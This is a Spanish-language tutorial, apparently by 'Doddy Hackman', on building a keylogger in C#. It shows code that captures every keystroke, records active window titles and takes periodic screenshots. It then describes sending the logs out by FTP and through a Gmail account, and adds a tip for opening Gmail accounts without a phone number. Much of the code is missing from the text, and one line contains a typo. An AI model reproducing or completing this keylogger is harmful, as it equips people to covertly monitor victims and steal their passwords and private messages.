Documenti di Didattica
Documenti di Professioni
Documenti di Cultura
[Lenguaje] : C#
[Autor] : Doddy Hackman
[Temario]
-- =================--------
0x01 : Introduccion
0x02 : Capturar Teclas
0x03 : Capturar el nombre de las ventanas
activas
0x04 : Tomar un ScreenShot de la pantalla
0x05 : Subir logs a un servidor FTP
0x06 : Mandar logs por Mail
0x07 : Probando el programa
-- =================--------
0x01 : Introduccion
Hola , hoy les traigo un manual sobre como hacer un keylogger en C# , en este manual les voy a
enseñar o por lo menos lo voy a intentar sobre como capturar las teclas , nombres de las ventanas ,
tomar un screenshot de la pantalla para despues mandar los logs por Mail (usando Gmail) o subirlos
a un servidor FTP.
Empecemos ...
Para empezar el keyloger tenemos que crear primero un nuevo proyecto de la siguiente forma :
Archivo -> Nuevo -> Proyecto -> Elegimos Aplicacion de Windows Forms y le damos en aceptar
Una vez creado el proyecto vamos hacer el formulario completo para hacerlo de una para esto
tienen que usar :
Ahora pongan 3 labels con el texto de "OFF" abajo de cada funcion : keys,windows,screen.
Si quieren pueden ponerle como texto "Keylogger in C#" al formulario como en la imagen pero no
es importante.
Para poder capturar teclas necesitan poner este "using" al inicio del codigo para poder usar
GetAsyncKeyState() :
using System.Runtime.InteropServices;
[DllImport("User32.dll")]
private static extern short GetAsyncKeyState(Keys teclas);
[DllImport("user32.dll")]
private static extern short GetAsyncKeyState(Int32 teclas);
[DllImport("user32.dll")]
private static extern short GetKeyState(Keys teclas);
[DllImport("user32.dll")]
private static extern short GetKeyState(Int32 teclas);
Para poder escribir los logs en un html necesitan usar mi funcion traducida originalmente desde perl
a python,ruby,delphi y finalmente C# :
Ahora tenemos que agregar el primer timer al formulario solo van al cuadro de herramientas y lo
arrastran al formulario.
Como va a ser el primero timer tendra el name de timer1 , entonces hacemos doble click timer1
para agregar el siguiente codigo.
for (int num = 0; num <= 255; num++) // Usamos el int num para
recorrer los numeros desde el 0 al 255
{
int numcontrol = GetAsyncKeyState(num); // Usamos
GetAsyncKeyState para verificar si una tecla fue presionada usando
el int numcontrol
if (numcontrol == -32767) // Verificamos si numcontrol fue
realmente presionado controlando que numcontrol sea -32767
{
if (num >= 65 && num <= 122) // Si el int num esta entre 65 y
122 ...
{
if (Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)) &&
Convert.ToBoolean(GetKeyState(Keys.CapsLock)))
{
// Si se detecta Shift y CapsLock ...
string letra = Convert.ToChar(num+32).ToString(); // Le
sumamos 32 a num y la convertimos a Char para formar la letra
minuscula
savefile("logs.html", letra); // Agregamos la letra al
archivo de texto
}
else if
(Convert.ToBoolean(GetAsyncKeyState(Keys.ShiftKey)))
{
// Si se detecta Shift o CapsLock
string letra = Convert.ToChar(num).ToString(); //
Formamos la letra convirtiendo num a Char
savefile("logs.html", letra); // Agregamos la letra al
archivo de texto
}
else if (Convert.ToBoolean(GetKeyState(Keys.CapsLock)))
{
// Si se detecta CapsLock ...
string letra = Convert.ToChar(num).ToString(); //
Formamos la letra convirtiendo num a Char
savefile("logs.html", letra); // Agregamos la letra al
archivo de texto
}
else
{
// Si no se detecta ni Shift ni CapsLock ...
string letra = Convert.ToChar(num j+ 32).ToString(); //
Formamos la letra minuscula sumandole 32 a num y convirtiendo num
a Char
savefile("logs.html", letra); // Agregamos la letra al
archivo de texto
}
}
}
}
Ahora le hacemos doble click al primer boton , es el que activa la captura de las teclas "Capture
Keys ON" , para poder poner el siguiente codigo :
Con este codigo vamos a poder activar la captura de las teclas pero para poder desactivar el timer y
que no siga capturando tenemos que hacer doble click en el segundo boton , el que dice "Capture
Keys OFF" para poner este codigo :
Para poder capturar el nombre de las ventanas activas tenemos que declarar las siguiente variables
globales al inicio del codigo :
string nombre1 = ""; // Declaramos la variable string nombre1 como
vacia ("")
string nombre2 = ""; // Declaramos la variable string nombre2
como vacia ("")
Estas lineas son necesarias para guardar los nombres de las ventanas y comparar para saber cual es
la actual , para poder capturar el nombres de las ventanas activas tambien tenemos que agregar estas
lineas al inicio del codigo :
[DllImport("user32.dll")]
static extern IntPtr GetForegroundWindow();
[DllImport("user32.dll")]
static extern int GetWindowText(IntPtr ventana, StringBuilder
cadena, int cantidad);
Ahora tenemos que agregar el segundo timer al formulario , para hacerle doble click y agregar el
siguiente codigo :
}
Como en la siguiente imagen :
Ahora hacemos doble click en el tercer boton que se llama "Capture Windows ON" para poner el
siguiente codigo :
Despues de eso hacemos doble click en el cuarto boton que se llama "Capture Windows OFF" para
poner el siguiente codigo :
Para esta funcion lo primero que hay que hacer es agregar esta linea al inicio del codigo :
using System.Drawing.Imaging;
Bien ahora para que el programa capture la pantalla cada cierto tiempo tenemos que agregar el
tercer timer al formulario para ponerle como tiempo o Interval un valor de "10000" que serian 10
segundos porque el interval exige que el tiempo sea expresado en milisegundos.
Despues de eso agregan esta funcion al inicio del codigo llamada screeshot() :
Ahora la parte que me estaba olvidando hagan doble click en el quinto boton , el que tiene como
texto "Capture Screen ON" y pongan el siguiente codigo :
Ahora hagan doble click en el sexto boton , el que tiene como texto "Capture Screen OFF" y
pongan el siguiente codigo :
Con esto ya estaria terminada la parte de la captura de pantalla cada cierto tiempo , en este caso son
cada 10 segundos.
Bien , ahora para poder enviar logs por FTP necesitamos agregar estas lineas al inicio del codigo :
using System.Net;
using System.IO;
Despues de uso tambien tenemos que agregar esta funcion al inicio del codigo que sirve para subir
archivos a un servidor FTP marcado :
public void FTP_Upload(string servidor, string usuario, string
password, string archivo)
{
// Based on : http://madskristensen.net/post/simple-ftp-file-
upload-in-c-20
try
{
WebClient ftp = new System.Net.WebClient(); // Iniciamos una
instancia WebClient con "ftp"
ftp.Credentials = new System.Net.NetworkCredential(usuario,
password); // Establecemos el login
Ahora vamos hacer doble click sobre el septimo boton que tiene como texto "Send logs for FTP"
para poner el siguiente codigo :
Como ven tenemos "localhost" como servidor FTP y "admin" como usuario y password del servidor
FTP , al final de la funcion tenemos "logs.html" que son los logs creados por el keylogger y listos
para enviar al servidor FTP correspondiente.
Para probarlos en su servidor FTP tienen que cambiar los valores de servidor , usuario y password.
Ahora vamos a ver como enviar los logs por mail , para poder hacerlo necesitan una cuenta en
Gmail , si quieren registrarse en Gmail sin dar el telefono tienen que registrarte poniendo como
direccion de correo alternativa una que sea con "@gmail.com" , en mi caso tambien puse la
nacionalidad de Estados Unidos , no se si hace falta pero yo lo hice igual y safe de que me pidieran
el telefono (no lo voy a dar ni muerto xD).
Bien para poder enviar correos usando Gmail necesitamos poner esta linea al inicio del codigo :
using System.Net.Mail;
Despues tenemos que poner esta funcion al inicio del codigo que es la que uso para enviar Mails a
Gmail :
// Based on : http://www.codeproject.com/Tips/160326/Using-
Gmail-Account-to-Send-Emails-With-Attachment
Despues de eso hacemos doble click sobre el octavo y ultimo boton que tiene como texto "Send
logs for Mail" para poner el siguiente codigo :
Como ven en la funcion tenemos como argumentos , el correo y password de nuestra cuenta gmail
que usamos para enviar los logs , despues tenemos el correo donde van a llegar los logs , despues
tenemos el titulo del mensaje que es "Aca van los logs" y el contenido del mensaje donde tenemos
"Disfruta los logs" y para terminar tenemos la ruta de los logs del keylogger que es "logs.html".
Bueno , creo que con esto cubrimos lo que es un keylogger basico (eso creo) , para probar solo
tenemos que activar la captura de teclas , captura de ventanas y captura de screenshots desde su
boton correspondiente , si queremos parar cierta funcion solo tenemos que hacer click sobre el
boton de abajo correspondiente.
En mi servidor FTP local se puede ver como se subieron los logs : logs.html
Lo mismo con el envio de logs por Mail con la diferencia de que ahora tienen que hacer click en el
boton "Send logs for Mail" les dejo un ejemplo donde envio los logs a mi correo en hotmail :
Si quieren pueden ver los logs en formato HTML , en mi caso podre leer algo como esto en
Firefox :
--========--
The End ?
--========--